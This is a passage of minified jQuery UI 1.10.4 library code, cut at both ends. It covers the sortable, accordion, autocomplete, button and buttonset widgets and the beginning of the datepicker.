){i||(i=this.position);var s="absolute"===t?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,a=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():a?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():a?0:n.scrollLeft())*s}},_generatePosition:function(t){var i,s,n=this.options,a=t.pageX,o=t.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==document&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(a=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(o=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(a=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(o=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((o-this.originalPageY)/n.grid[1])*n.grid[1],o=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((a-this.originalPageX)/n.grid[0])*n.grid[0],a=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:o-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:a-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(e,t,i,s){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?t.item[0]:t.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(e,t){function i(e,t,i){return function(s){i._trigger(e,s,t._uiHash(t))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!t&&n.push(function(e){this._trigger("receive",e,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||t||n.push(function(e){this._trigger("update",e,this._uiHash())}),this!==this.currentContainer&&(t||(n.push(function(e){this._trigger("remove",e,this._uiHash())}),n.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)t||n.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,this.cancelHelperRemoval){if(!t){for(this._trigger("beforeStop",e,this._uiHash()),s=0;n.length>s;s++)n[s].call(this,e);this._trigger("stop",e,this._uiHash())}return this.fromOutside=!1,!1}if(t||this._trigger("beforeStop",e,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null,!t){for(s=0;n.length>s;s++)n[s].call(this,e);this._trigger("stop",e,this._uiHash())}return this.fromOutside=!1,!0},_trigger:function(){e.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(t){var i=t||this;return{helper:i.helper,placeholder:i.placeholder||e([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:t?t.element:null}}})})(jQuery);(function(e){var t=0,i={},s={};i.height=i.paddingTop=i.paddingBottom=i.borderTopWidth=i.borderBottomWidth="hide",s.height=s.paddingTop=s.paddingBottom=s.borderTopWidth=s.borderBottomWidth="show",e.widget("ui.accordion",{version:"1.10.4",options:{active:0,animate:{},collapsible:!1,event:"click",header:"> li > :first-child,> :not(li):even",heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},_create:function(){var t=this.options;this.prevShow=this.prevHide=e(),this.element.addClass("ui-accordion ui-widget ui-helper-reset").attr("role","tablist"),t.collapsible||t.active!==!1&&null!=t.active||(t.active=0),this._processPanels(),0>t.active&&(t.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():e(),content:this.active.length?this.active.next():e()}},_createIcons:function(){var t=this.options.icons;t&&(e("<span>").addClass("ui-accordion-header-icon ui-icon "+t.header).prependTo(this.headers),this.active.children(".ui-accordion-header-icon").removeClass(t.header).addClass(t.activeHeader),this.headers.addClass("ui-accordion-icons"))},_destroyIcons:function(){this.headers.removeClass("ui-accordion-icons").children(".ui-accordion-header-icon").remove()},_destroy:function(){var e;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role"),this.headers.removeClass("ui-accordion-header ui-accordion-header-active ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("aria-selected").removeAttr("aria-controls").removeAttr("tabIndex").each(function(){/^ui-accordion/.test(this.id)&&this.removeAttribute("id")}),this._destroyIcons(),e=this.headers.next().css("display","").removeAttr("role").removeAttr("aria-hidden").removeAttr("aria-labelledby").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-state-disabled").each(function(){/^ui-accordion/.test(this.id)&&this.removeAttribute("id")}),"content"!==this.options.heightStyle&&e.css("height","")},_setOption:function(e,t){return"active"===e?(this._activate(t),undefined):("event"===e&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(t)),this._super(e,t),"collapsible"!==e||t||this.options.active!==!1||this._activate(0),"icons"===e&&(this._destroyIcons(),t&&this._createIcons()),"disabled"===e&&this.headers.add(this.headers.next()).toggleClass("ui-state-disabled",!!t),undefined)},_keydown:function(t){if(!t.altKey&&!t.ctrlKey){var i=e.ui.keyCode,s=this.headers.length,a=this.headers.index(t.target),n=!1;switch(t.keyCode){case i.RIGHT:case i.DOWN:n=this.headers[(a+1)%s];break;case i.LEFT:case i.UP:n=this.headers[(a-1+s)%s];break;case i.SPACE:case i.ENTER:this._eventHandler(t);break;case i.HOME:n=this.headers[0];break;case i.END:n=this.headers[s-1]}n&&(e(t.target).attr("tabIndex",-1),e(n).attr("tabIndex",0),n.focus(),t.preventDefault())}},_panelKeyDown:function(t){t.keyCode===e.ui.keyCode.UP&&t.ctrlKey&&e(t.currentTarget).prev().focus()},refresh:function(){var t=this.options;this._processPanels(),t.active===!1&&t.collapsible===!0||!this.headers.length?(t.active=!1,this.active=e()):t.active===!1?this._activate(0):this.active.length&&!e.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(t.active=!1,this.active=e()):this._activate(Math.max(0,t.active-1)):t.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){this.headers=this.element.find(this.options.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all"),this.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom").filter(":not(.ui-accordion-content-active)").hide()},_refresh:function(){var i,s=this.options,a=s.heightStyle,n=this.element.parent(),r=this.accordionId="ui-accordion-"+(this.element.attr("id")||++t);this.active=this._findActive(s.active).addClass("ui-accordion-header-active ui-state-active ui-corner-top").removeClass("ui-corner-all"),this.active.next().addClass("ui-accordion-content-active").show(),this.headers.attr("role","tab").each(function(t){var i=e(this),s=i.attr("id"),a=i.next(),n=a.attr("id");s||(s=r+"-header-"+t,i.attr("id",s)),n||(n=r+"-panel-"+t,a.attr("id",n)),i.attr("aria-controls",n),a.attr("aria-labelledby",s)}).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(s.event),"fill"===a?(i=n.height(),this.element.siblings(":visible").each(function(){var t=e(this),s=t.css("position");"absolute"!==s&&"fixed"!==s&&(i-=t.outerHeight(!0))}),this.headers.each(function(){i-=e(this).outerHeight(!0)}),this.headers.next().each(function(){e(this).height(Math.max(0,i-e(this).innerHeight()+e(this).height()))}).css("overflow","auto")):"auto"===a&&(i=0,this.headers.next().each(function(){i=Math.max(i,e(this).css("height","").height())}).height(i))},_activate:function(t){var i=this._findActive(t)[0];i!==this.active[0]&&(i=i||this.active[0],this._eventHandler({target:i,currentTarget:i,preventDefault:e.noop}))},_findActive:function(t){return"number"==typeof t?this.headers.eq(t):e()},_setupEvents:function(t){var i={keydown:"_keydown"};t&&e.each(t.split(" "),function(e,t){i[t]="_eventHandler"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(t){var i=this.options,s=this.active,a=e(t.currentTarget),n=a[0]===s[0],r=n&&i.collapsible,o=r?e():a.next(),h=s.next(),l={oldHeader:s,oldPanel:h,newHeader:r?e():a,newPanel:o};t.preventDefault(),n&&!i.collapsible||this._trigger("beforeActivate",t,l)===!1||(i.active=r?!1:this.headers.index(a),this.active=n?e():a,this._toggle(l),s.removeClass("ui-accordion-header-active ui-state-active"),i.icons&&s.children(".ui-accordion-header-icon").removeClass(i.icons.activeHeader).addClass(i.icons.header),n||(a.removeClass("ui-corner-all").addClass("ui-accordion-header-active ui-state-active ui-corner-top"),i.icons&&a.children(".ui-accordion-header-icon").removeClass(i.icons.header).addClass(i.icons.activeHeader),a.next().addClass("ui-accordion-content-active")))},_toggle:function(t){var i=t.newPanel,s=this.prevShow.length?this.prevShow:t.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=i,this.prevHide=s,this.options.animate?this._animate(i,s,t):(s.hide(),i.show(),this._toggleComplete(t)),s.attr({"aria-hidden":"true"}),s.prev().attr("aria-selected","false"),i.length&&s.length?s.prev().attr({tabIndex:-1,"aria-expanded":"false"}):i.length&&this.headers.filter(function(){return 0===e(this).attr("tabIndex")}).attr("tabIndex",-1),i.attr("aria-hidden","false").prev().attr({"aria-selected":"true",tabIndex:0,"aria-expanded":"true"})},_animate:function(e,t,a){var n,r,o,h=this,l=0,u=e.length&&(!t.length||e.index()<t.index()),d=this.options.animate||{},c=u&&d.down||d,p=function(){h._toggleComplete(a)};return"number"==typeof c&&(o=c),"string"==typeof c&&(r=c),r=r||c.easing||d.easing,o=o||c.duration||d.duration,t.length?e.length?(n=e.show().outerHeight(),t.animate(i,{duration:o,easing:r,step:function(e,t){t.now=Math.round(e)}}),e.hide().animate(s,{duration:o,easing:r,complete:p,step:function(e,i){i.now=Math.round(e),"height"!==i.prop?l+=i.now:"content"!==h.options.heightStyle&&(i.now=Math.round(n-t.outerHeight()-l),l=0)}}),undefined):t.animate(i,o,r,p):e.animate(s,o,r,p)},_toggleComplete:function(e){var t=e.oldPanel;t.removeClass("ui-accordion-content-active").prev().removeClass("ui-corner-top").addClass("ui-corner-all"),t.length&&(t.parent()[0].className=t.parent()[0].className),this._trigger("activate",null,e)}})})(jQuery);(function(e){e.widget("ui.autocomplete",{version:"1.10.4",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,_create:function(){var t,i,s,a=this.element[0].nodeName.toLowerCase(),n="textarea"===a,r="input"===a;this.isMultiLine=n?!0:r?!1:this.element.prop("isContentEditable"),this.valueMethod=this.element[n||r?"val":"text"],this.isNewMenu=!0,this.element.addClass("ui-autocomplete-input").attr("autocomplete","off"),this._on(this.element,{keydown:function(a){if(this.element.prop("readOnly"))return t=!0,s=!0,i=!0,undefined;t=!1,s=!1,i=!1;var n=e.ui.keyCode;switch(a.keyCode){case n.PAGE_UP:t=!0,this._move("previousPage",a);break;case n.PAGE_DOWN:t=!0,this._move("nextPage",a);break;case n.UP:t=!0,this._keyEvent("previous",a);break;case n.DOWN:t=!0,this._keyEvent("next",a);break;case n.ENTER:case n.NUMPAD_ENTER:this.menu.active&&(t=!0,a.preventDefault(),this.menu.select(a));break;case n.TAB:this.menu.active&&this.menu.select(a);break;case n.ESCAPE:this.menu.element.is(":visible")&&(this._value(this.term),this.close(a),a.preventDefault());break;default:i=!0,this._searchTimeout(a)}},keypress:function(s){if(t)return t=!1,(!this.isMultiLine||this.menu.element.is(":visible"))&&s.preventDefault(),undefined;if(!i){var a=e.ui.keyCode;switch(s.keyCode){case a.PAGE_UP:this._move("previousPage",s);break;case a.PAGE_DOWN:this._move("nextPage",s);break;case a.UP:this._keyEvent("previous",s);break;case a.DOWN:this._keyEvent("next",s)}}},input:function(e){return s?(s=!1,e.preventDefault(),undefined):(this._searchTimeout(e),undefined)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(e){return this.cancelBlur?(delete this.cancelBlur,undefined):(clearTimeout(this.searching),this.close(e),this._change(e),undefined)}}),this._initSource(),this.menu=e("<ul>").addClass("ui-autocomplete ui-front").appendTo(this._appendTo()).menu({role:null}).hide().data("ui-menu"),this._on(this.menu.element,{mousedown:function(t){t.preventDefault(),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur});var i=this.menu.element[0];e(t.target).closest(".ui-menu-item").length||this._delay(function(){var t=this;this.document.one("mousedown",function(s){s.target===t.element[0]||s.target===i||e.contains(i,s.target)||t.close()})})},menufocus:function(t,i){if(this.isNewMenu&&(this.isNewMenu=!1,t.originalEvent&&/^mouse/.test(t.originalEvent.type)))return this.menu.blur(),this.document.one("mousemove",function(){e(t.target).trigger(t.originalEvent)}),undefined;var s=i.item.data("ui-autocomplete-item");!1!==this._trigger("focus",t,{item:s})?t.originalEvent&&/^key/.test(t.originalEvent.type)&&this._value(s.value):this.liveRegion.text(s.value)},menuselect:function(e,t){var i=t.item.data("ui-autocomplete-item"),s=this.previous;this.element[0]!==this.document[0].activeElement&&(this.element.focus(),this.previous=s,this._delay(function(){this.previous=s,this.selectedItem=i})),!1!==this._trigger("select",e,{item:i})&&this._value(i.value),this.term=this._value(),this.close(e),this.selectedItem=i}}),this.liveRegion=e("<span>",{role:"status","aria-live":"polite"}).addClass("ui-helper-hidden-accessible").insertBefore(this.element),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(e,t){this._super(e,t),"source"===e&&this._initSource(),"appendTo"===e&&this.menu.element.appendTo(this._appendTo()),"disabled"===e&&t&&this.xhr&&this.xhr.abort()},_appendTo:function(){var t=this.options.appendTo;return t&&(t=t.jquery||t.nodeType?e(t):this.document.find(t).eq(0)),t||(t=this.element.closest(".ui-front")),t.length||(t=this.document[0].body),t},_initSource:function(){var t,i,s=this;e.isArray(this.options.source)?(t=this.options.source,this.source=function(i,s){s(e.ui.autocomplete.filter(t,i.term))}):"string"==typeof this.options.source?(i=this.options.source,this.source=function(t,a){s.xhr&&s.xhr.abort(),s.xhr=e.ajax({url:i,data:t,dataType:"json",success:function(e){a(e)},error:function(){a([])}})}):this.source=this.options.source},_searchTimeout:function(e){clearTimeout(this.searching),this.searching=this._delay(function(){this.term!==this._value()&&(this.selectedItem=null,this.search(null,e))},this.options.delay)},search:function(e,t){return e=null!=e?e:this._value(),this.term=this._value(),e.length<this.options.minLength?this.close(t):this._trigger("search",t)!==!1?this._search(e):undefined},_search:function(e){this.pending++,this.element.addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:e},this._response())},_response:function(){var t=++this.requestIndex;return e.proxy(function(e){t===this.requestIndex&&this.__response(e),this.pending--,this.pending||this.element.removeClass("ui-autocomplete-loading")},this)},__response:function(e){e&&(e=this._normalize(e)),this._trigger("response",null,{content:e}),!this.options.disabled&&e&&e.length&&!this.cancelSearch?(this._suggest(e),this._trigger("open")):this._close()},close:function(e){this.cancelSearch=!0,this._close(e)},_close:function(e){this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",e))},_change:function(e){this.previous!==this._value()&&this._trigger("change",e,{item:this.selectedItem})},_normalize:function(t){return t.length&&t[0].label&&t[0].value?t:e.map(t,function(t){return"string"==typeof t?{label:t,value:t}:e.extend({label:t.label||t.value,value:t.value||t.label},t)})},_suggest:function(t){var i=this.menu.element.empty();this._renderMenu(i,t),this.isNewMenu=!0,this.menu.refresh(),i.show(),this._resizeMenu(),i.position(e.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next()},_resizeMenu:function(){var e=this.menu.element;e.outerWidth(Math.max(e.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(t,i){var s=this;e.each(i,function(e,i){s._renderItemData(t,i)})},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-autocomplete-item",t)},_renderItem:function(t,i){return e("<li>").append(e("<a>").text(i.label)).appendTo(t)},_move:function(e,t){return this.menu.element.is(":visible")?this.menu.isFirstItem()&&/^previous/.test(e)||this.menu.isLastItem()&&/^next/.test(e)?(this._value(this.term),this.menu.blur(),undefined):(this.menu[e](t),undefined):(this.search(null,t),undefined)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(e,t){(!this.isMultiLine||this.menu.element.is(":visible"))&&(this._move(e,t),t.preventDefault())}}),e.extend(e.ui.autocomplete,{escapeRegex:function(e){return e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(t,i){var s=RegExp(e.ui.autocomplete.escapeRegex(i),"i");return e.grep(t,function(e){return s.test(e.label||e.value||e)})}}),e.widget("ui.autocomplete",e.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(e){return e+(e>1?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(e){var t;this._superApply(arguments),this.options.disabled||this.cancelSearch||(t=e&&e.length?this.options.messages.results(e.length):this.options.messages.noResults,this.liveRegion.text(t))}})})(jQuery);(function(e){var t,i="ui-button ui-widget ui-state-default ui-corner-all",s="ui-button-icons-only ui-button-icon-only ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary ui-button-text-only",a=function(){var t=e(this);setTimeout(function(){t.find(":ui-button").button("refresh")},1)},n=function(t){var i=t.name,s=t.form,a=e([]);return i&&(i=i.replace(/'/g,"\\'"),a=s?e(s).find("[name='"+i+"']"):e("[name='"+i+"']",t.ownerDocument).filter(function(){return!this.form})),a};e.widget("ui.button",{version:"1.10.4",defaultElement:"<button>",options:{disabled:null,text:!0,label:null,icons:{primary:null,secondary:null}},_create:function(){this.element.closest("form").unbind("reset"+this.eventNamespace).bind("reset"+this.eventNamespace,a),"boolean"!=typeof this.options.disabled?this.options.disabled=!!this.element.prop("disabled"):this.element.prop("disabled",this.options.disabled),this._determineButtonType(),this.hasTitle=!!this.buttonElement.attr("title");var s=this,r=this.options,o="checkbox"===this.type||"radio"===this.type,h=o?"":"ui-state-active";null===r.label&&(r.label="input"===this.type?this.buttonElement.val():this.buttonElement.html()),this._hoverable(this.buttonElement),this.buttonElement.addClass(i).attr("role","button").bind("mouseenter"+this.eventNamespace,function(){r.disabled||this===t&&e(this).addClass("ui-state-active")}).bind("mouseleave"+this.eventNamespace,function(){r.disabled||e(this).removeClass(h)}).bind("click"+this.eventNamespace,function(e){r.disabled&&(e.preventDefault(),e.stopImmediatePropagation())}),this._on({focus:function(){this.buttonElement.addClass("ui-state-focus")},blur:function(){this.buttonElement.removeClass("ui-state-focus")}}),o&&this.element.bind("change"+this.eventNamespace,function(){s.refresh()}),"checkbox"===this.type?this.buttonElement.bind("click"+this.eventNamespace,function(){return r.disabled?!1:undefined}):"radio"===this.type?this.buttonElement.bind("click"+this.eventNamespace,function(){if(r.disabled)return!1;e(this).addClass("ui-state-active"),s.buttonElement.attr("aria-pressed","true");var t=s.element[0];n(t).not(t).map(function(){return e(this).button("widget")[0]}).removeClass("ui-state-active").attr("aria-pressed","false")}):(this.buttonElement.bind("mousedown"+this.eventNamespace,function(){return r.disabled?!1:(e(this).addClass("ui-state-active"),t=this,s.document.one("mouseup",function(){t=null}),undefined)}).bind("mouseup"+this.eventNamespace,function(){return r.disabled?!1:(e(this).removeClass("ui-state-active"),undefined)}).bind("keydown"+this.eventNamespace,function(t){return r.disabled?!1:((t.keyCode===e.ui.keyCode.SPACE||t.keyCode===e.ui.keyCode.ENTER)&&e(this).addClass("ui-state-active"),undefined)}).bind("keyup"+this.eventNamespace+" blur"+this.eventNamespace,function(){e(this).removeClass("ui-state-active")}),this.buttonElement.is("a")&&this.buttonElement.keyup(function(t){t.keyCode===e.ui.keyCode.SPACE&&e(this).click()})),this._setOption("disabled",r.disabled),this._resetButton()},_determineButtonType:function(){var e,t,i;this.type=this.element.is("[type=checkbox]")?"checkbox":this.element.is("[type=radio]")?"radio":this.element.is("input")?"input":"button","checkbox"===this.type||"radio"===this.type?(e=this.element.parents().last(),t="label[for='"+this.element.attr("id")+"']",this.buttonElement=e.find(t),this.buttonElement.length||(e=e.length?e.siblings():this.element.siblings(),this.buttonElement=e.filter(t),this.buttonElement.length||(this.buttonElement=e.find(t))),this.element.addClass("ui-helper-hidden-accessible"),i=this.element.is(":checked"),i&&this.buttonElement.addClass("ui-state-active"),this.buttonElement.prop("aria-pressed",i)):this.buttonElement=this.element},widget:function(){return this.buttonElement},_destroy:function(){this.element.removeClass("ui-helper-hidden-accessible"),this.buttonElement.removeClass(i+" ui-state-active "+s).removeAttr("role").removeAttr("aria-pressed").html(this.buttonElement.find(".ui-button-text").html()),this.hasTitle||this.buttonElement.removeAttr("title")},_setOption:function(e,t){return this._super(e,t),"disabled"===e?(this.element.prop("disabled",!!t),t&&this.buttonElement.removeClass("ui-state-focus"),undefined):(this._resetButton(),undefined)},refresh:function(){var t=this.element.is("input, button")?this.element.is(":disabled"):this.element.hasClass("ui-button-disabled");t!==this.options.disabled&&this._setOption("disabled",t),"radio"===this.type?n(this.element[0]).each(function(){e(this).is(":checked")?e(this).button("widget").addClass("ui-state-active").attr("aria-pressed","true"):e(this).button("widget").removeClass("ui-state-active").attr("aria-pressed","false")}):"checkbox"===this.type&&(this.element.is(":checked")?this.buttonElement.addClass("ui-state-active").attr("aria-pressed","true"):this.buttonElement.removeClass("ui-state-active").attr("aria-pressed","false"))},_resetButton:function(){if("input"===this.type)return this.options.label&&this.element.val(this.options.label),undefined;var t=this.buttonElement.removeClass(s),i=e("<span></span>",this.document[0]).addClass("ui-button-text").html(this.options.label).appendTo(t.empty()).text(),a=this.options.icons,n=a.primary&&a.secondary,r=[];a.primary||a.secondary?(this.options.text&&r.push("ui-button-text-icon"+(n?"s":a.primary?"-primary":"-secondary")),a.primary&&t.prepend("<span class='ui-button-icon-primary ui-icon "+a.primary+"'></span>"),a.secondary&&t.append("<span class='ui-button-icon-secondary ui-icon "+a.secondary+"'></span>"),this.options.text||(r.push(n?"ui-button-icons-only":"ui-button-icon-only"),this.hasTitle||t.attr("title",e.trim(i)))):r.push("ui-button-text-only"),t.addClass(r.join(" "))}}),e.widget("ui.buttonset",{version:"1.10.4",options:{items:"button, input[type=button], input[type=submit], input[type=reset], input[type=checkbox], input[type=radio], a, :data(ui-button)"},_create:function(){this.element.addClass("ui-buttonset")},_init:function(){this.refresh()},_setOption:function(e,t){"disabled"===e&&this.buttons.button("option",e,t),this._super(e,t)},refresh:function(){var t="rtl"===this.element.css("direction");this.buttons=this.element.find(this.options.items).filter(":ui-button").button("refresh").end().not(":ui-button").button().end().map(function(){return e(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":first").addClass(t?"ui-corner-right":"ui-corner-left").end().filter(":last").addClass(t?"ui-corner-left":"ui-corner-right").end().end()},_destroy:function(){this.element.removeClass("ui-buttonset"),this.buttons.map(function(){return e(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy")}})})(jQuery);(function(e,t){function i(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},e.extend(this._defaults,this.regional[""]),this.dpDiv=s(e("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function s(t){var i="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return t.delegate(i,"mouseout",function(){e(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&e(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&e(this).removeClass("ui-datepicker-next-hover")}).delegate(i,"mouseover",function(){e.datepicker._isDisabledDatepicker(n.inline?t.parent()[0]:n.input[0])||(e(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),e(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&e(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&e(this).addClass("ui-datepicker-next-hover"))})}function a(t,i){e.extend(t,i);for(var s in i)null==i[s]&&(t[s]=i[s]);return t}e.extend(e.ui,{datepicker:{version:"1.10.4"}});var n,r="datepicker";e.extend(i.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(e){return a(this._defaults,e||{}),this},_attachDatepicker:function(t,i){var s,a,n;s=t.nodeName.toLowerCase(),a="div"===s||"span"===s,t.id||(this.uuid+=1,t.id="dp"+this.uuid),n=this._newInst(e(t),a),n.settings=e.extend({},i||{}),"input"===s?this._connectDatepicker(t,n):a&&this._inlineDatepicker(t,n)},_newInst:function(t,i){var a=t[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1");return{id:a,input:t,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:i,dpDiv:i?s(e("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(t,i){var s=e(t);i.append=e([]),i.trigger=e([]),s.hasClass(this.markerClassName)||(this._attachments(s,i),s.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp),this._autoSize(i),e.data(t,r,i),i.settings.disabled&&this._disableDatepicker(t))},_attachments:function(t,i){var s,a,n,r=this._get(i,"appendText"),o=this._get(i,"isRTL");i.append&&i.append.remove(),r&&(i.append=e("<span 